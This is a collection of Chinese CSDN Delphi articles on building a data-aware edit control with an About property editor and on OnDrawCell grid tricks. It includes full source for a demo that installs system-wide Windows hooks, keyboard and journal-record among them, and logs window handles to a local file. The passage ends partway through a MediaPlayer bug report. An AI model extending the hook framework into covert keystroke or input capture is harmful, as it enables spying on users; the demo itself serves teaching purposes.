本文以制作一个类似于DBEdit的控件为例。首先使用组件向导从TEdit下继承下来，命名TMyDataBaseEdit，单元名为MyDataBaseEdi.pas,安装在一个新的包文件中，起名为MyDataEditStd60.Dpk。

包的命名没有规则，但是我们建议遵守包的命名约定：包的命名与包的版本相关，包的名称前面几个字符通常表示作者或公司名，也可以是控件的一个描述词，后面紧跟的Std表示运行期包，Dsgn表示设计期包，然后是版本号。关于包的设计方式我们将随后详细说明。

数据感知

准备就绪，我们开始编辑控件的功能，首先添加数据源感知属性 .DataSource,实现此属性只需Pubished域添加一句话：

property DataSource: TDataSource read GetDataSource write SetDataSource;按下shift ＋ctrl＋ C组合键（complete class at cursor）完成属性的自动结构化功能，private域自动添加两个函数：

procedure SetDataSource(const Value: TDataSource);

function GetDataSource: TDataSource;

这样，安装组件到面板，可以看到该组件已经拥有了.DataSource属性，并实现感知TDataSource控件功能。怎么样，简单吧，呵呵。其实我们由此可以得到：控件属性的感知只不过是将它的一个属性声明为将要感知的控件类而已，如果感知Image控件，则：

property MyImage：TImage read GetImage write SetImage；

但是，假如我们要将一个控件作为这个控件的子属性，即将这两个控件的代码合并，则不能单单需要上述那一句话了：

首先，去掉添加控件的注册函数；

其次，将其从TComponent继承改为从TPersistent继承下来。大家可试试看。

事件赋值

不过，该控件并不能真正与数据库相连，只是一个样子而已，要真正实现功能，我们需要添加代码，这时候我们用到了一个重要的类TfieldDataLink。

它是控件内部的数据联接对象，从TDataLink继承下来，它的作用是与TDataSource组件相互通信，连接单个字段进行数据提取。我们将要处理这个对象的OnDataChange事件，这样，当字段或记录有所改变时就会得到通知，进行相应的数据处理。Ok，我们声明对象并创建：

private域声明 FDataLink：TFieldDataLink；构造函数中创建

constructor TMyDataBaseEdit.Create(AOwner: TComponent);

begin

inherited;

FDataLink := TFieldDataLink.Create;

FDataLink.OnDataChange := DataChange;

end;

DataChange是我们private域声明的一个过程：procedure DataChange(Sender: TObject);这里面实现了我们这个控件的实际功能，并和FDataLink.OnDataChange事件相连。创建成功之后我们实现GetDataSource、SetDataSource函数过程：

function TMyDataBaseEdit.GetDataSource: TDataSource;

begin

Result := FDataLink.DataSource;

end;

procedure TMyDataBaseEdit.SetDataSource(const Value: TDataSource);

begin

if not (FDataLink.DataSourceFixed and (csLoading in ComponentState)) then

begin

FDataLink.DataSource := Value;

end;

if Value <> nil then

begin

Value.FreeNotification(Self);

end;

end;

关联控件的销毁

实现了上述代码，这样数据才真正的与控件关联起来，要个性化处理数据就要添加DataChange过程的代码了。

那么Value.FreeNotification(Self)代码是什么意思呢？请大家想一想：我们的组件需要和DataSource控件和DataSet控件相组合才能实现数据库数据的读写，那么当我们删除其中一个时，如果其他两个控件不知道，那么是不是会出现异常呢？答案是肯定的。

那么我们怎样才能做到通知其他组件呢？Yes, Value.FreeNotification(Self)就是做这个工作的！FreeNotification(self)将会把我们的组件置入其通知对象列表中，被撤消时，它会依次调用通知对象列表中所有对象的Notification方法，我们只需要在组件中重载它就行：

protected

{ Protected declarations }

procedure Notification(AComponent: TComponent;Operation: TOperation);override;

代码实现如下：

procedure TMyDataBaseEdit.Notification(AComponent: TComponent;

Operation: TOperation);

begin

inherited Notification(AComponent, Operation);

if (Operation = opRemove) and (FDataLink <> nil) and

(AComponent = DataSource) then DataSource := nil;

end;

这样，当关联的参考控件被删除时，控件就会得到消息，来处理事件，防止异常的发生，否则将会导致Delphi开发环境的不稳定甚至死机，切记！

同时，不要忘了重载Destroy函数：

destructor TMyDataBaseEdit.Destroy;

begin

inherited;

FDataLink.Free;

FDataLink := nil;

end;

确保使用完之后销毁FDataLink的实例，释放空间。无论是写组件还是写程序我们都要严格注意声明的对象，一定要在使用完之后释放！

添加DataField属性

我们使用此控件的功能目的是想连接好数据库组件后，通过选择字段名，将其字段值显示在Edit.Text中。那么我们还缺一个属性.DataField。

published域声明：

property DataField: string read GetFieldName write SetFieldName;

实现如下：

function TMyDataBaseEdit.GetFieldName: string;

begin

Result := FDataLink.FieldName;

end;

procedure TMyDataBaseEdit.SetFieldName(const Value: string);

begin

FDataLink.FieldName := Value;

end;

OK,这样数据库中的字段就将列在下拉框中了。

下面我们填写我们的数据处理过程：

procedure TMyDataBaseEdit.DataChange(Sender: TObject);

begin

if FDataLink.Field <> nil then

begin

Text := FDataLink.Field.Text;

end;

end;

哈，现在基本上可以运行起来了。现在，我们将Table,DataSource连接起来，来看看当前记录发生改变时，MyDataBaseEdit控件的Edit框中显示所选字段的字段值

添加属性页（About）

现在基本功能已经具备了，下面我们给它加上一个属性页，我们这里只是做一个About对话框演示，开发者可根据自己的实际功能要求自行定制。

我们实现的效果是要求：在属性编辑浏览器中出现一项About属性，右侧显示：（About）… 点击“…”按钮弹出一个对话框。

下面我们开始新建一个Package，按照命名规则起名：MyDataEditDsgn60.Dpk，然后新建一个Form,作为About对话框，我们可以根据需要自行设计界面。我们新建一个类TAboutEditor使其从TPropertyEditor下继承过来：

TAboutEdit = class(TPropertyEditor)

FFrmAbout: TfrmAbout;

function GetAttributes: TPropertyAttributes;override;

function GetValue: string;override;

procedure Edit;override;

end;

注意：将全局的Form变量删掉，重新在TAboutEdit类中声明一个新的私有变量。

覆盖Edit函数：

procedure TAboutEdit.Edit;

begin

FFrmAbout := TfrmAbout.Create(Application);

FFrmAbout.ShowModal;

FFrmAbout.Free

end;

用来创建销毁窗体对象。

覆盖GetAttributes函数：

function TAboutEdit.GetAttributes: TPropertyAttributes;

begin

Result := [paDialog,paReadOnly];

end;

告诉IDE将以何种工作方式进行显示，关于TPropertyAttributes可以参考帮助看看，这里不再赘述。我们这里是以只读对话框的方式显示的，Object Inspector将在About属性旁边出现一个省略号按钮。当用户单击这个按钮，就调用Edit方法。

覆盖GetValue函数，是为了省略号按钮旁出现“(About)”的字样，并且只读。

function TAboutEdit.GetValue: string;

begin

Result := '(About)'

end;

好了，工作基本完成，如果你还想进一步控制，还可以在研究TPropertyEditor类的代码。这里就不细说了。

也许你产生疑问了：这样能行了吗？控件怎么知道这个Package的属性方法，没关联呀。对了，要想把编辑器和控件关联起来还要2项工作：

1、 控件增加一个string 类型的”About”属性

2、 在编辑器的单元里注册属性编辑器

第一步，很简单，大家早就熟悉增加一个属性的方法了：

private

FAbout: string

Published

Property About: string read FAbout write FAbout;

第二步，也只是在属性编辑器单元增加一个注册的全局过程函数：

procedure Register

beging

//只有一句话：

RegisterPropertyEditor(TypeInfo(string),TMyDataBaseEdit,'About',TAboutEdit);

end；

现在，我来解释一下RegisterPropertyEditor函数：它用来注册一个属性编辑器，将控件中的一个属性和编辑器关联起来。

l 第一个参数：TypeInfo（string），参数原型：PropertyType：PTypeInfo它是一个指针，指向要编辑的属性的运行期类型信息，我们通过TypeInfo()获取。

l 第二个参数：TMyDataBaseEdit,参数原型：Component: Calss,用于指定这个属性编辑器所作用的组件类。

l 第三个参数是一个字符串，用于指定被作用属性的名称。

l 第四个参数用于指定属性编辑器的类型。

假如第二个参数设为nil,第三个参数设为空串，会如何呢？嘿嘿，所有string类型的属性全部变成About框了，哈哈。

大家注意，我们在这里只是简单的做了一个About对话框，目的是为了能够让大家快速清晰地了解属性编辑器的设计原理，我们也可以把它做成一个复杂的有返回值的对话框，这样我们就可以真正用对话框来编辑控件的属性了。这就要看各位的实际需要了，但万便不离其宗，呵呵。

有兴趣的话大家还可以研究一下Delphi的Source\Property Editors目录下的StringsEdit单元。（关于属性编辑器更详细的各种类型、定义可以参考《Delphi5开发人员指南》第三部分“关于组件的开发”或仔细研究DesignEditors单元）

包的设计思想

在进行编辑器设计的时候我们新建了一个Package组件包。组件包，大家应该都比较了解它了，它类似于Dll，不过只是在Delphi和CBuilder环境中通用。很好的利用此包，可以使我们的程序模块清晰，能最大限度的代码重用，使程序的体积尽量减小，而且可以在这两种语言环境中互用。这里就不多说了，否则跑题太远，有兴趣的话大家可以跟我联系，共同探讨。

现在，我来说一下为什么要和控件的包分开，单独新建一个Package组件包。

首先，分块划分好管理，这不用多说了，一个运行期包，一个设计期包，使应用程序的体积变小，省得所有关于的单元全部链接到执行程序中去（Delphi5及前版本），即使你只在程序中静态地进行链接，混合运行时和设计时的代码也将使你的代码膨胀。因为你的设计时代码在运行时不会被执行，但是编译器并不知道，所以把它也一起链接进去了。

其实重要的一个原因是，Delphi6版本以来，VCl结构对Delphi5及前版本有所调整，Borland用DesignIntf替换了DsgnIntf，而且属性编辑器也被放进DesignEditors、DesignMenus、DesignWindows和其它的一些设计文件里。特别是DesignEditors使用了其它的一个名叫Proxies的IDE文件。而Proxies被编译进了DesignIDE.bpl文件中。DesignIDE.bpl已经不再是一个可以分发的文件，我们只能在开发环境中使用，不用说，这时候编译应用程序时就出现“找不到文件”的问题了。这时，我们将运行期包和设计期包分开，将设计期包加入designide.dcp文件，分别编译包文件，就能保证正确无误，编译通过！

所以我们遵守一些约定，将使我们的代码结构达到最优化，一般设置如下：

设计时包应该包括：

1、 所有的注册声明（最好放在一个单独的单元中）；

2、 所有的属性编辑器；

3、 所有的组件编辑器；

4、 将需要DesignIDE支持的包。

注：组件编辑器是通过在组件上弹出快捷菜单，象Table等组件。它的制作比较类似，是从TComponentEditor下继承来的。这里不再多讲了。

运行时包应该包括：

1、 组件本身。

2、 组件可能在运行时调用的窗体（属性编辑器用到的）。

Package部分由于版本不同而对不同的版本要进行不同的设计，Delphi 6.0的编辑器版本是VER140，Delphi 5.0的编辑器版本是VER130，如果我们想适应不同的版本需要使用 {$IFDEF VER140}。。。{$ELSE}。。。{$ENDIF};在Uses域进行控制，这点大家稍加注意。

以上，是本人关于Delphi制作数据感知控件的经验之谈，希望能给各位一点启发，在开发的路上少走弯路。有认识不严密的地方，欢迎大家斧正，共同探讨！我的Email:weikang_wang@163.com


CSDN_文档中心_Delphi中 OnDrawCell的使用技巧

Delphi中 OnDrawCell的使用技巧

东南大学 梁云

人们在利用Delphi开发数据库应用程序时，经常使用表格控件制作报表。灵活地使用表格控件的OnDrawCell事件，可以完成一些特殊效果的显示，能更好地满足用户需求。本文介绍灵活使用OnDrawCell事件的三个技巧。

动态更新表格行的颜色

有时需要在报表中动态更新表格行的颜色。例如，在供应商列表中，优先供货的供应商用绿色显示，其他的供应商用红色显示。此时可以在OnDrawCell事件中用如下代码实现：

if Table1.FieldByName(‘CustNo’).AsInteger > 1500 then

DBGrid1.Canvas.Font.Color := clRed;

DBGrid1.DefaultDrawColumnCell(Rect, DataCol,

Column, State)

上述的代码可以根据应用的需要进行扩充。例如需要用黑体显示时，只要将对应行改为：

DBGrid1.Canvas.Font.Style := [fsBold];

在表格中插入其他可视控件

在数据库编程中，外键约束是保证数据库中的数据按用户要求存放的有效方法。例如，在一个订单处理环境中，订单表和客户表之间就存在外键约束，即订单表中的每条记录在客户表中应该有对应项。这样，在填写订单表时，如果在输入焦点提供客户列表供用户选择，将有效地保证数据的正确性。

DBGrid控件和StringGrid控件都派生于TcustomGrid，其中DBGrid控件可以输入数据。Delphi对DBGrid处理的内部机制是在网格上浮动一个DBEdit控件。能够获得焦点、输入数据的网格其实是浮动的DBEdit控件，当焦点转移时把编辑框中的文字显示到表格，其他未获得焦点地方和StingGrid并没有区别，这样就达到了在表格上输入数据的目的。所以，在表格中插入其他可视控件的方法就是在网格上浮动该可视控件。因此从原理上讲，任何控件都可以在表格中插入。本文以在表格中插入下拉框为例，介绍在网格上插入其他控件的具体步骤。

运行结果如图1所示：

图1

1．设置属性

读入客户列表到下拉框的Items属性。

2．设置OnDrawCell事件

OnDrawCell事件在绘制表格的单元格时被触发。当获得焦点的单元格所对应的字段与下拉框所对应的字段一致时，移动下拉框到获得焦点的网格上，并且使下拉框可见，从而达到在表格指定列上显示下拉框的功能。设置表格的OnDrawCell事件如下：

if (gdFocused in State) then

begin

//对应字段一致则执行

if (Grid.Cells[ACol,0]=‘Company’) then

begin

//移动下拉框到指定位置

ComboBox1.Left := Rect.Left ＋ Grid.Left;

ComboBox1.Top := Rect.Top ＋ Grid.top;

ComboBox1.Width :=Rect.Right－Rect.Left;

ComboBox1.Height:=Rect.Bottom－Rect.Top;

// 使下拉框可见并获得焦点

ComboBox1.Visible := True;

ComboBox1.SetFocus;

end;

end;

3．设置OnClick事件

如果获得焦点的单元格所对应的字段与下拉框所对应的字段不一致，下拉框不可见。为此，设置表格的OnClick事件如下：

If (Grid.Cells[Grid.Col,0]<>‘Company’) then

begin

ComboBox1.Visible := false;

end;

4．设置OnChange事件

在OnDrawCell事件中只完成了绘制单元格和显示下拉框的工作，并不能将数据输入到表格。为此，设置下拉框的OnChange事件如下：

Grid.Cells[Grid.Col,Grid.Row]:=ComboBox1.

Items[ComboBox1.ItemIndex];

这样就完成了在表格中插入下拉框的工作。

在表格中显示图形字段

在程序开发中，有时需要在报表中显示一些非常规字符。例如在零件检验报表中的检测项目字段就包含了零件加工粗糙度、加工公差等非常规字符。解决该问题的一般思路是把这些非常规字符作为图形字段存储，例如SQL Server 数据库中的Image字段。但是无论是StringGrid控件还是DBGrid控件，都只能直接显示字符串，这样就产生了如何在表格控件上显示图形字段的问题。

乍一看，该问题可以利用上述办法在表格中插入DBImage控件解决。但是这样需要插入与记录同等个数的控件，更麻烦的是由于OnDrawCell事件触发非常频繁，这样插入的DBImage控件会不停地试图与数据库连接，不仅增加了网络通信量，而且图形字段明显有闪烁感，影响程序的正常运行。更好的解决办法是在连接数据库时动态地创建DBImage控件，利用该控件读取数据库的Image字段，并作为临时文件保存到客户机硬盘。在表格的OnDrawCell事件中读取该临时文件，完成绘制工作，该临时文件在客户退出时被删除。以下是在表格中显示图形字段的具体步骤。

运行结果如图2所示：

图2

1．保存Image字段

在执行查询时读取所有Image字段，并保存到客户机硬盘。

Begin

......// 略去查询语句

FileName:=‘d:\temp\’; //初始化临时文件路径

MyDBImage：=TDBImage.Create(Self);//创建DBImage

MyDBImage.Parent:=self;

MyDBImage.DataSource:=DataSource1;

MyDBImage .DataField：=‘描述’;//指定为“描述”字段

Index:=1;

while not ClientData.Eof do begin //读数据库

s:=IntToStr(Index);

FileName1:=FileName＋s;

FileName1:=FileName1＋‘.bmp’;

//保存临时文件

MyDBImage .Picture .Bitmap .SaveToFile(FileName1) ; Grid .Cells[0,Index]:=ClientData.FieldByName(‘零件编号’).AsString；

Grid.Cells[1,Index]:=‘’;

//填写表格

Grid.Cells[2,Index]:=ClientData.FieldByName(‘实测数据’).AsString;

ClientData.Next;

Index:=Index＋1;

end;

MyDBImage.Destroy(); //释放DBImage

end;

2．拷贝图形

设置OnDrawCell事件，读取临时文件，并将图形拷贝到表格的指定列：

if ((ACol=1)and(ARow>0) and (Grid.ColCount>2)) then begin

//表格至少需要两列

FileName:=‘D:\temp\’;

S:=IntToStr(ARow);

FileName:=FileName＋S;

FileName:=FileName＋‘.bmp’;

MyImage:=TImage.Create(Self);//创建Image控件

MyImage.Parent:= self;

//读临时文件

MyImage.Picture.Bitmap.LoadFromFile(FileName);

//拷贝图形

Grid.Canvas.Draw(Rect.Left,Rect.Top,MyImage.

Picture.Graphic);

MyImage.Destroy(); //释放Image控件

end;


CSDN_文档中心_Delphi中Hook技术全接触

看到有的兄弟说Delphi下的Hook不好做,所以在下把每个Hook都在Delphi做了一下,觉得没啥问题,而且处理的方法较新颖,拿来让兄弟们探讨,关于hook问题,有不懂的问我就行,不过有的Hook我只做了个框架,没有具体实用作用,要做的兄弟自已完善就行了,呵呵,代码在下面,自已看啦..........
-------------------------------------------
我的联系方法:
oicq; 10772919
e-mail: njhhack@21cn.com
homepage: hotsky.363.net
--------------------------------------------

----------这是*.dll中的单元---------------
unit HookProc;

interface

uses windows,messages,sysutils;

const
HTName:array[1..13] of pchar=(
'CALLWNDPROC','CALLWNDPROCRET','CBT','DEBUG','GETMESSAGE','JOURNALPLAYBACK',
'JOURNALRECORD','KEYBOARD','MOUSE','MSGFILTER','SHELL','SYSMSGFILTER','FOREGROUNDIDLE'
);

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function CallWndRetProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function CBTProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function DebugProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function JournalPlaybackProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function JournalRecordProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function KeyboardProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function MouseProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function MessageProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function ShellProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function SysMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
function ForegroundIdleProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;

implementation

procedure SaveInfo(k:integer;str:string);stdcall;
var
f:textfile;
WorkPath:string;
begin
WorkPath:=ExtractFilePath(ParamStr(0));
assignfile(f,WorkPath+'Records.txt');
if fileexists(WorkPath+'Records.txt')=false then rewrite(f)
else append(f);
//if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
//else write(f,str);
writeln(f,HTName[k]+'----'+str);
closefile(f);
end;

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:TCWPSTRUCT;
begin
pcs:=TCWPSTRUCT(PCWPSTRUCT(lParam)^);
if nCode>=0 then
begin
if pcs.message=wm_lbuttonup then
SaveInfo(1,format('hwnd=%x',[pcs.hwnd]));
end;
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function CallWndRetProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function CBTProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function DebugProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:TMSG;
begin
pcs:=TMSG(PMSG(lParam)^);
if nCode>=0 then
begin
if pcs.message=wm_lbuttonup then
SaveInfo(5,format('hwnd=%x',[pcs.hwnd]));
end;
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function JournalPlaybackProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function JournalRecordProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function KeyboardProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function MouseProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function MessageProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function ShellProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function SysMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;
//
function ForegroundIdleProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
Result:=CallNextHookEx(0,nCode,wParam,lParam);
end;

end.

--------这是*.dll主程序------------------
library DemoHook;

uses
windows,messages,sysutils,
HookProc in 'HookProc.pas';

{$r *.res}

const

HookMemFileName='DllHookMemFile.DTA';
HTName:array[1..13] of pchar=(
'CALLWNDPROC','CALLWNDPROCRET','CBT','DEBUG','GETMESSAGE','JOURNALPLAYBACK',
'JOURNALRECORD','KEYBOARD','MOUSE','MSGFILTER','SHELL','SYSMSGFILTER','FOREGROUNDIDLE'
);

type
THookProc = function(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
PShared=^TShared;
THook = record
HookHand:HHook;
HookType:integer;
HookProc:THookProc;
end;
TShared = record
Hook:array [0..16] of THook;
Father,Self:integer;
Count:integer;
hinst:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
Shared:PShared;
Win:TWin;
wmhook:integer;

procedure SaveInfo(k:integer;str:string);stdcall;
var
f:textfile;
WorkPath:string;
begin
WorkPath:=ExtractFilePath(ParamStr(0));
assignfile(f,WorkPath+'Records.txt');
if fileexists(WorkPath+'Records.txt')=false then rewrite(f)
else append(f);
//if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
//else write(f,str);
writeln(f,HTName[k]+'----'+str);
closefile(f);
end;

procedure InitHookData;
var k:integer;
begin
with Shared^ do
begin
for k:=0 to 14 do Hook[k].HookHand:=0;
//
Hook[0].HookType:=WH_CALLWNDPROC;
Hook[0].HookProc:=@CallWndProc;
//
Hook[1].HookType:=WH_CALLWNDPROCRET;
Hook[1].HookProc:=@CallWndRetProc;
//
Hook[2].HookType:=WH_CBT;
Hook[2].HookProc:=@CBTProc;
//
Hook[3].HookType:=WH_DEBUG;
Hook[3].HookProc:=@DebugProc;
//
Hook[4].HookType:=WH_GETMESSAGE;
Hook[4].HookProc:=@GetMsgProc;
//
Hook[5].HookType:=WH_JOURNALPLAYBACK;
Hook[5].HookProc:=@JournalPlaybackProc;
//
Hook[6].HookType:=WH_JOURNALRECORD;
Hook[6].HookProc:=@JournalRecordProc;
//
Hook[7].HookType:=WH_KEYBOARD;
Hook[7].HookProc:=@KeyboardProc;
//
Hook[8].HookType:=WH_MOUSE;
Hook[8].HookProc:=@MouseProc;
//
Hook[9].HookType:=WH_MSGFILTER;
Hook[9].HookProc:=@MessageProc;
//
Hook[10].HookType:=WH_SHELL ;
Hook[10].HookProc:=@ShellProc;
//
Hook[11].HookType:=WH_SYSMSGFILTER;
Hook[11].HookProc:=@SysMsgProc;
//
Hook[12].HookType:=WH_FOREGROUNDIDLE;
Hook[12].HookProc:=@ForegroundIdleProc;

end;
end;

function SetHook(fSet:boolean;HookId:integer):bool;stdcall;
begin
with shared^ do
if fSet=true then
begin
if Hook[HookId].HookHand=0 then
begin
Hook[HookId].HookHand:=SetWindowsHookEx(Hook[HookId].HookType,Hook[HookId].HookProc,hinstance,0);
if Hook[HookId].HookHand<>0 then Result:=true
else Result:=false;
end else Result:=true;
end else
begin
if Hook[HookId].HookHand<>0 then
begin
if UnhookWindowsHookEx(Hook[HookId].HookHand)=true then
begin
Hook[HookId].HookHand:=0;
Result:=true;
end else Result:=false;
end else Result:=true;
end;
end;

procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
var k:integer;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
for k:=0 to 12 do SetHook(False,k);
postmessage(findwindow('WinHook',nil),wm_destroy,0,0);
ExitThread(0);
end;
end;
if msg=wmhook then
begin
if wparam>0 then
begin
if sethook(true,wparam-1)=true then postmessage(findwindow('WinHook',nil),wmhook,wparam,0);
end else
begin
if sethook(false,-wparam-1)=true then postmessage(findwindow('WinHook',nil),wmhook,wparam,0);
end;
end;
end;

procedure run;stdcall;
//var k:integer;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='WideHook';
RegisterClass(win.wClass);
win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'WideHook',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
shared^.self:=win.hmain;
shared^.hinst:=hinstance;
InitHookData;
wmhook:=registerwindowmessage(pchar('wm_hook'));
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

procedure DllEntryPoint(fdwReason:DWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;

exports run;

begin
//建立内存映象文件，用来保存全局变量
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.

---------这是*.exe主程序---------------------------

Program WinHook;

uses windows,messages,sysutils;
{$r *.res} //使用资源文件
const
HTName:array[1..13] of pchar=(
'CALLWNDPROC','CALLWNDPROCRET','CBT','DEBUG','GETMESSAGE','JOURNALPLAYBACK',
'JOURNALRECORD','KEYBOARD','MOUSE','MSGFILTER','SHELL','SYSMSGFILTER','FOREGROUNDIDLE'
);
type
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
hbut,hlab:array[1..16] of integer;
hLib:integer;
HookStat:array[1..16] of bool;
end;
var
Win:TWin; //结构变量
wmhook:integer;
WorkPath:string;
hRun:procedure;stdcall;
//
procedure runhookfun;
begin
win.hlib:=loadlibrary(pchar(WorkPath+'DemoHook.dll'));
if win.hlib=0 then messagebox(win.hmain,'error','',0);
hrun:=GetProcAddress(win.hlib,'run');
if @hrun<>nil then hrun;
end;

procedure runhook;
var tid:integer;
begin
createthread(nil,0,@runhookfun,nil,0,tid);
end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
var k:integer;
begin
case Msg of
WM_SYSCOMMAND:
begin
case wparam of
SC_CLOSE:
begin
if findwindow('WideHook','WideHook')<>0 then postmessage(findwindow('WideHook','WideHook'),wm_destroy,0,0);
end;//showwindow(hwnd,sw_hide);
SC_MINIMIZE:;//showwindow(hwnd,sw_hide);
SC_MAXIMIZE:;
SC_DEFAULT:;
SC_MOVE:;
SC_SIZE:;
//else
//Result := DefWindowProc(hwnd, uMsg, wParam, lParam);
end;
exit;
end;
wm_command:
begin
for k:=1 to 13 do
begin
if (lparam=win.hbut[k]) and ((k=6) or (k=7)) then break;
if lparam=win.hbut[k] then
begin
if win.HookStat[k]=false then postmessage(findwindow('WideHook','WideHook'),wmhook,k,0)
else postmessage(findwindow('WideHook','WideHook'),wmhook,-k,0);
end;
end;
end;
wm_destroy:
begin
freelibrary(win.hlib);
halt;
end;
end;
if msg=wmhook then
begin
if wparam>0 then
begin
setwindowtext(win.hbut[wparam],pchar('stop'));
win.HookStat[wparam]:=true;
end else
begin
setwindowtext(win.hbut[-wparam],pchar('start'));
win.HookStat[-wparam]:=false;
end;
end;
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
end;

//主程序的执行函数
procedure run;stdcall;
var k:integer;
begin
if findwindow('WinHook',nil)<>0 then exit;
win.wClass.hInstance:= hInstance;
with win.wclass do
begin
hIcon:= LoadIcon(hInstance,'MAINICON');
hCursor:= LoadCursor(0,IDC_ARROW);
hbrBackground:= COLOR_BTNFACE+1;
Style:= CS_PARENTDC;
lpfnWndProc:= @WindowProc;
lpszClassName:='WinHook';
end;
RegisterClass(win.wClass);
win.hmain:=CreateWindow(win.wClass.lpszClassName,'Delphi Hook Demo 2001',WS_VISIBLE or WS_OVERLAPPEDWINDOW,0,0,240,450,0,0,hInstance,nil);
for k:=1 to 13 do
begin
win.hbut[k]:=CreateWindow('BUTTON','Start',WS_VISIBLE or WS_CHILD,10,10+30*(k-1),50,24,win.hmain,0,hInstance,nil);
win.hlab[k]:=CreateWindow('STATIC',HTName[k],WS_VISIBLE or WS_CHILD,70,10+30*(k-1)+4,150,24,win.hmain,0,hInstance,nil);
win.HookStat[k]:=false;
end;
WorkPath:=ExtractFilePath(ParamStr(0));
runhook;
wmhook:=registerwindowmessage(pchar('wm_hook'));
while(GetMessage(win.Msg,win.hmain,0,0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

begin
run; //开始运行主程序
end.


CSDN_文档中心_Delphi中MediaPlayer控件的一个Bug即修复

最近在使用MediaPlayer控件编程时发现一个奇怪的问题，刚开始百思不得其解，不知道是MediaPlayer的问题，还是Delphi的MMSystem.pas本身就错了
问题如下
MediaPlay.DeviceType的值只能设成dtAutoSelect，否则，不管是AVI,还是MPG文件都不能播放，我用Delphi6 和Delphi6 sp2 在win2000和xp环境下测试，均不能成功。
如果将设备类型设置成明显的错误，MediaPlay控件会报错，如文件是AVI或MPG格式，选择DeviceType=dtCDAudio,会报MCI错误，但是如果用AVI文件，选择dtAVIVideo，则不报任何错误，文件打开，但不管是通过程序，还是通过MediaPlay的Button总之是播放不了文件的，而且MediaPlay.Length的长度也不正确例如：
ExPlay.DeviceType :=dtAVIVideo;
ExPlay.FileName := 'd:\windows\clock.avi';
ExPlay.Open;
ExPlay.Play;
在不得已的情况下我只能去看MediaPlayer的源代码（本人对Delphi实在了解的不多）
分析情况如下
Delphi的TMediaPlayer控件的DeviceType是只能在几种类型中选择，这是在MPlay.pas中定义的几种
TMPDeviceTypes = (dtAutoSelect, dtAVIVideo, dtCDAudio, dtDAT, dtDigitalVideo, dtMMMovie,
